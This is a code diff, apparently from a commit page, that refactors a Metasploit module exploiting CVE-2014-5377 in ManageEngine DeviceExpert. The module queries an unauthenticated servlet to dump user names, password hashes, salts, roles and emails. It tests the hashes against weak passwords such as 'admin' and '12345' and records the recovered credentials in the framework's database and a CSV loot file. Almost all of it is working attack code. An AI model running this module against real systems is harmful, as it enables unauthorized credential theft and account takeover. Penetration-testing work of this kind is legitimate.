@@ -29,9 +29,9 @@ def initialize(info = {})
29
29
] ,
30
30
'References' =>
31
31
[
32
- [ 'EDB' => '34449' ] ,
33
- [ 'OSVBD' => '110522' ] ,
34
- [ 'CVE' => '2014-5377' ]
32
+ [ 'EDB' , '34449' ] ,
33
+ [ 'OSVBD' , '110522' ] ,
34
+ [ 'CVE' , '2014-5377' ]
35
35
] ,
36
36
'DisclosureDate' => 'Aug 28 2014' ) )
37
37
register_options (
@@ -48,17 +48,17 @@ def check
48
48
49
49
def get_users
50
50
users = nil
51
- vprint_status "#{ peer } - Reading users from master..."
52
- res = send_request_cgi 'uri' => normalize_uri ( target_uri . path , 'ReadUsersFromMasterServlet' )
51
+ vprint_status ( "#{ peer } - Reading users from master..." )
52
+ res = send_request_cgi ( 'uri' => normalize_uri ( target_uri . path , 'ReadUsersFromMasterServlet' ) )
53
53
if !res
54
- vprint_error "#{ peer } - Connection failed"
54
+ vprint_error ( "#{ peer } - Connection failed" )
55
55
elsif res . code == 404
56
- vprint_error "#{ peer } - Could not find 'ReadUsersFromMasterServlet'"
56
+ vprint_error ( "#{ peer } - Could not find 'ReadUsersFromMasterServlet'" )
57
57
elsif res . code == 200 && res . body =~ /<discoverydata>(.+)<\/ discoverydata>/
58
58
users = res . body . scan ( /<discoverydata>(.*?)<\/ discoverydata>/ )
59
- vprint_good "#{ peer } - Found #{ users . length } users"
59
+ vprint_good ( "#{ peer } - Found #{ users . length } users" )
60
60
else
61
- vprint_error "#{ peer } - Could not find any users"
61
+ vprint_error ( "#{ peer } - Could not find any users" )
62
62
end
63
63
users
64
64
end
@@ -68,45 +68,92 @@ def parse_user_data(user)
68
68
username = user . scan ( /<username>([^<]+)</ ) . flatten . first
69
69
encoded_hash = user . scan ( /<password>([^<]+)</ ) . flatten . first
70
70
role = user . scan ( /<userrole>([^<]+)</ ) . flatten . first
71
- email = user . scan ( /<emailid>([^<]+)</ ) . flatten . first
71
+ mail = user . scan ( /<emailid>([^<]+)</ ) . flatten . first
72
72
salt = user . scan ( /<saltvalue>([^<]+)</ ) . flatten . first
73
73
hash = Rex ::Text . decode_base64 ( encoded_hash ) . unpack ( 'H*' ) . flatten . first
74
+ pass = nil
74
75
[ '12345' , 'admin' , 'password' , username ] . each do |weak_password |
75
76
if hash == Rex ::Text . md5 ( weak_password + salt )
76
- print_status " #{ peer } - Found weak credentials ( #{ username } : #{ weak_password } )"
77
+ pass = weak_password
77
78
break
78
79
end
79
80
end
80
- [ username , hash , role , email , salt ]
81
+ [ username , pass , hash , role , mail , salt ]
81
82
end
82
83
83
- def run
84
+ def run_host ( ip )
84
85
users = get_users
85
86
return if users . nil?
87
+
88
+ service_data = {
89
+ address : rhost ,
90
+ port : rport ,
91
+ service_name : ( ssl ? 'https' : 'http' ) ,
92
+ protocol : 'tcp' ,
93
+ workspace_id : myworkspace_id
94
+ }
95
+
86
96
cred_table = Rex ::Ui ::Text ::Table . new (
87
97
'Header' => 'ManageEngine DeviceExpert User Credentials' ,
88
98
'Indent' => 1 ,
89
- 'Columns' => [ 'Username' , 'Password Hash' , 'Role' , 'E-mail' , 'Password Salt' ]
99
+ 'Columns' =>
100
+ [
101
+ 'Username' ,
102
+ 'Password' ,
103
+ 'Password Hash' ,
104
+ 'Role' ,
105
+ 'E-mail' ,
106
+ 'Password Salt'
107
+ ]
90
108
)
91
- vprint_status "#{ peer } - Parsing user data..."
109
+
110
+ vprint_status ( "#{ peer } - Parsing user data..." )
92
111
users . each do |user |
93
- record = parse_user_data user . to_s
94
- unless record . join . empty?
95
- report_auth_info (
96
- 'host' => rhost ,
97
- 'port' => rport ,
98
- 'sname' => ( ssl ? 'https' : 'http' ) ,
99
- 'user' => record [ 0 ] ,
100
- 'pass' => record [ 1 ] ,
101
- 'type' => 'hash' ,
102
- 'proof' => "salt: #{ record [ 4 ] } role: #{ record [ 2 ] } email: #{ record [ 3 ] } " ,
103
- 'source_type' => 'vuln'
104
- )
105
- cred_table << [ record [ 0 ] , record [ 1 ] , record [ 2 ] , record [ 3 ] , record [ 4 ] ]
112
+ record = parse_user_data ( user . to_s )
113
+ next if record . join . empty?
114
+
115
+ user = record [ 0 ]
116
+ pass = record [ 1 ]
117
+ hash = record [ 2 ]
118
+ role = record [ 3 ]
119
+ mail = record [ 4 ]
120
+ salt = record [ 5 ]
121
+
122
+ cred_table << [ user , pass , hash , role , mail , salt ]
123
+
124
+ if pass
125
+ print_status ( "#{ peer } - Found weak credentials (#{ user } :#{ pass } )" )
126
+ credential_data = {
127
+ origin_type : :service ,
128
+ module_fullname : self . fullname ,
129
+ private_type : :password ,
130
+ private_data : pass ,
131
+ username : user
132
+ }
133
+ else
134
+ credential_data = {
135
+ origin_type : :service ,
136
+ module_fullname : self . fullname ,
137
+ private_type : :nonreplayable_hash ,
138
+ private_data : "#{ salt } :#{ hash } " ,
139
+ username : user
140
+ }
106
141
end
142
+
143
+ credential_data . merge! ( service_data )
144
+ credential_core = create_credential ( credential_data )
145
+ login_data = {
146
+ core : credential_core ,
147
+ access_level : role ,
148
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED
149
+ }
150
+ login_data . merge! ( service_data )
151
+ create_credential_login ( login_data )
152
+
107
153
end
154
+
108
155
print_line
109
- print_line "#{ cred_table } "
156
+ print_line ( "#{ cred_table } " )
110
157
loot_name = 'manageengine.deviceexpert.user.creds'
111
158
loot_type = 'text/csv'
112
159
loot_filename = 'manageengine_deviceexpert_user_creds.csv'
0 commit comments